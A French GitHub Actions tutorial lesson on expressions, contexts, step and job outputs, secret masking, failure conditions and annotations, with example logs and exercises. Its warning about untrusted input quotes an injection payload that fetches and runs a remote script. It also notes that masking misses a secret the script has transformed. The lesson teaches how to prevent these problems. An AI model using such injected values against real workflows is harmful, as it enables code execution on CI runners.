4. Expressions, contextes et outputs
Sections
Réglages de lecture
Voix naturelle enregistrée pour ce cours, la même dans tous les navigateurs.
Aucune voix pour cette langue dans ce navigateur.
Plus de voix
Code et termes techniques en anglais
Désactivé : la voix de la page lit tout, sans pause entre deux voix.
Aucune voix pour cette langue dans ce navigateur.
Plus de voix
D’autres voix : Microsoft Edge propose des voix naturelles en ligne, et Windows (Paramètres › Heure et langue › Voix), macOS et Android en installent d’autres.
Deux sortes de substitution
Section intitulée « Deux sortes de substitution »La leçon 1 a montré que ${{ github.event_name }} était déjà remplacé dans le script exécuté par le runner, alors que $RUNNER_OS était développé par bash. Ne confonds pas les deux :
${{ expression }} |
$VAR / $env:VAR |
|
|---|---|---|
| Évalué par | GitHub, avant l’exécution du step | le shell, pendant l’exécution du step |
| Peut lire | les contextes : github, env, vars, secrets, inputs, matrix, steps, needs, job, runner |
les variables d’environnement |
| Autorisé dans | presque n’importe quelle valeur du YAML, et if: |
uniquement dans les scripts |
| Analogie C# | un générateur de source : le texte est produit avant la compilation | une variable lue à l’exécution |
Comme ${{ }} colle du texte dans le script, n’y mets jamais directement de valeurs non fiables — un titre de pull request comme "; curl evil.sh | sh; echo " deviendrait du code shell. Passe-les par env: et lis $VAR à la place. La leçon 7 exécute l’injection pour de vrai.
Le workflow
Section intitulée « Le workflow ».github/workflows/gha-04-data.yml :
# GitHub Actions course, lesson 4: expressions, contexts, environment, outputs, conditionsname: "GHA 04: data between steps and jobs"
on: workflow_dispatch: inputs: fail: description: Make the test step fail type: boolean default: false push: branches: [main] paths: ['.github/workflows/gha-04-data.yml']
env: COURSE: github-actions
jobs: produce: runs-on: ubuntu-latest outputs: version: ${{ steps.version.outputs.value }} env: LESSON: '04' steps: - name: Expressions and contexts run: | echo "course=$COURSE lesson=$LESSON" echo "run ${{ github.run_number }}, attempt ${{ github.run_attempt }}" echo "is main: ${{ github.ref == 'refs/heads/main' }}" echo "upper: ${{ format('{0}-{1}', env.COURSE, env.LESSON) }}"
- name: Compute a version id: version run: echo "value=1.0.${{ github.run_number }}" >> "$GITHUB_OUTPUT"
- name: Export a variable for later steps run: echo "BUILD_LABEL=build-${{ steps.version.outputs.value }}" >> "$GITHUB_ENV"
- name: Read it back run: echo "BUILD_LABEL is $BUILD_LABEL"
- name: A secret is masked in logs env: TOKEN: ${{ secrets.GITHUB_TOKEN }} run: | echo "token length: ${#TOKEN}" echo "token: $TOKEN"
- name: Tests (fail on demand) run: | if [ "${{ inputs.fail }}" = "true" ]; then echo "::error file=code/github-actions/dotnet/Slugs/Slug.cs,line=9::Pretend a test failed" exit 1 fi echo "tests passed"
- name: Only on failure if: failure() run: echo "a previous step failed"
- name: Always if: always() run: | echo "job status: ${{ job.status }}" echo "### Version ${{ steps.version.outputs.value }}" >> "$GITHUB_STEP_SUMMARY"
consume: needs: produce runs-on: ubuntu-latest steps: - run: echo "version from produce = ${{ needs.produce.outputs.version }}"Exécution 1 : tout passe
Section intitulée « Exécution 1 : tout passe »Le premier step, tel que le runner l’a reçu et tel qu’il a affiché :
echo "course=$COURSE lesson=$LESSON"echo "run 1, attempt 1"echo "is main: true"echo "upper: github-actions-04"course=github-actions lesson=04run 1, attempt 1is main: trueupper: github-actions-04env:au niveau du workflow (COURSE) et au niveau du job (LESSON) sont tous deux devenus des variables d’environnement ; en cas de conflit de noms, le niveau le plus spécifique l’emporte.github.run_numbercompte les exécutions de ce workflow (1 ici, il est nouveau) ;run_attemptaugmente quand tu cliques sur Re-run.==renvoietrue/false;format()est l’une des fonctions intégrées, aveccontains(),startsWith(),toJSON(),hashFiles()…
Transmettre des données entre steps
Section intitulée « Transmettre des données entre steps »Deux fichiers spéciaux s’en chargent :
| Écrire dans | Syntaxe | Lire ensuite avec |
|---|---|---|
$GITHUB_OUTPUT |
name=value |
${{ steps.<id>.outputs.<name> }} (le step a besoin d’un id) |
$GITHUB_ENV |
NAME=value |
$NAME dans les steps suivants (pas le step courant) |
echo "value=1.0.1" >> "$GITHUB_OUTPUT"echo "BUILD_LABEL=build-1.0.1" >> "$GITHUB_ENV"... BUILD_LABEL: build-1.0.1BUILD_LABEL is build-1.0.1À partir du step qui suit l’export, le log liste BUILD_LABEL dans le bloc env: du step.
Transmettre des données entre jobs
Section intitulée « Transmettre des données entre jobs »Les jobs s’exécutent sur des machines différentes, donc un output de step doit être déclaré comme output du job (jobs.produce.outputs.version), et le consommateur doit déclarer needs: produce :
version from produce = 1.0.1Sans needs, consume démarrerait en même temps que produce et needs.produce n’existerait pas.
Les secrets sont masqués
Section intitulée « Les secrets sont masqués » TOKEN: ***token length: 377token: ***Le runner remplace chaque occurrence de la valeur d’un secret par *** dans les logs, même quand un script l’affiche. La longueur fuit quand même — et le masquage repose sur la valeur exacte : un secret transformé par le script (encodé en base64, découpé, inversé) n’est pas reconnu. Le masquage protège des accidents, pas d’un step malveillant.
Exécution 2 : échec sur demande
Section intitulée « Exécution 2 : échec sur demande »gh workflow run gha-04-data.yml --field fail=trueif [ "true" = "true" ]; then echo "::error file=code/github-actions/dotnet/Slugs/Slug.cs,line=9::Pretend a test failed" exit 1fi##[error]Pretend a test failed##[error]Process completed with exit code 1.Ce qui est arrivé aux steps et aux jobs suivants :
produce failure Tests (fail on demand) failure Only on failure success Always successconsume skipped- Chaque step a un
if: success()implicite : après un échec, les steps normaux sont ignorés.failure()ne s’exécute que si un step précédent a échoué ;always()s’exécute quoi qu’il arrive — y compris après une annulation. job.statusvalaitfailuredans le stepAlways:echo "job status: failure".consumea été ignoré (skipped), pas mis en échec :needsimplique aussi le succès. Écrisif: always()sur le job (ouif: ${{ !cancelled() }}) pour l’exécuter malgré tout.
Annotations
Section intitulée « Annotations »::error file=…,line=…::message est une commande de workflow : le runner la transforme en annotation attachée à ce fichier et à cette ligne, visible dans le résumé de l’exécution et dans l’onglet Files changed de la pull request. Par l’API :
gh api repos/spareilleux/learn/check-runs/<job-id>/annotations --jq '.[] | "\(.annotation_level) \(.path):\(.start_line) \(.message)"'failure .github:14 Process completed with exit code 1.failure code/github-actions/dotnet/Slugs/Slug.cs:9 Pretend a test failed::warning et ::notice fonctionnent de la même façon. Et $GITHUB_STEP_SUMMARY accepte du Markdown : la ligne ### Version 1.0.2 du step Always apparaît comme titre sur la page de résumé de l’exécution.
À retenir
Section intitulée « À retenir »${{ }}est évalué par GitHub et collé sous forme de texte ;$VARest lu par le shell. Les valeurs non fiables passent parenv:.$GITHUB_OUTPUT→steps.<id>.outputs;$GITHUB_ENV→ variables pour les steps suivants ;outputsdu job +needs→ données entre jobs.- Après un échec, seuls les steps
failure()etalways()s’exécutent, et les jobs dépendants sont ignorés. - Les secrets sont masqués par valeur dans les logs, ce qui est un filet de sécurité, pas une frontière de sécurité.
::error file=,line=::crée des annotations ;$GITHUB_STEP_SUMMARYécrit le résumé de l’exécution.
Exercices
Section intitulée « Exercices »- Dans le step
Export a variable for later steps, ajouteecho "now: $BUILD_LABEL"après la ligne>> "$GITHUB_ENV". Qu’est-ce que ça affiche ?
Solution
now: suivi de rien. Vérifié avec gha-04-exercises.yml :
now:next: build-1$GITHUB_ENV est lu par le runner entre les steps : la variable existe à partir du step suivant. Dans le même step, utilise une variable shell normale.
- Fais en sorte que
consumes’exécute même quandproduceéchoue, mais pas quand l’exécution est annulée. Que contiendraneeds.produce.outputs.versionaprès l’exécution en échec ?
Solution
Extrait de .github/workflows/gha-04-exercises.yml, lignes 28-30 :
consume: needs: produce if: ${{ !cancelled() }}La version : elle a été écrite dans $GITHUB_OUTPUT avant le step en échec, et les outputs d’un job sont évalués à la fin du job, quel que soit son résultat. L’output d’un step qui ne s’est jamais exécuté est une chaîne vide. Le workflow de vérification déclare les deux, puis échoue entre les deux :
produce result: failureversion: '1.0.1'never: ''- Un workflow s’exécute sur
pull_requestet affiche le titre avecrun: echo "Title: ${{ github.event.pull_request.title }}". Réécris le step de façon sûre.
Solution
- name: Show the title env: TITLE: ${{ github.event.pull_request.title }} run: echo "Title: $TITLE"L’expression ne sert plus que de valeur à une variable d’environnement ; bash lit $TITLE comme une donnée et n’analyse jamais son contenu comme du code.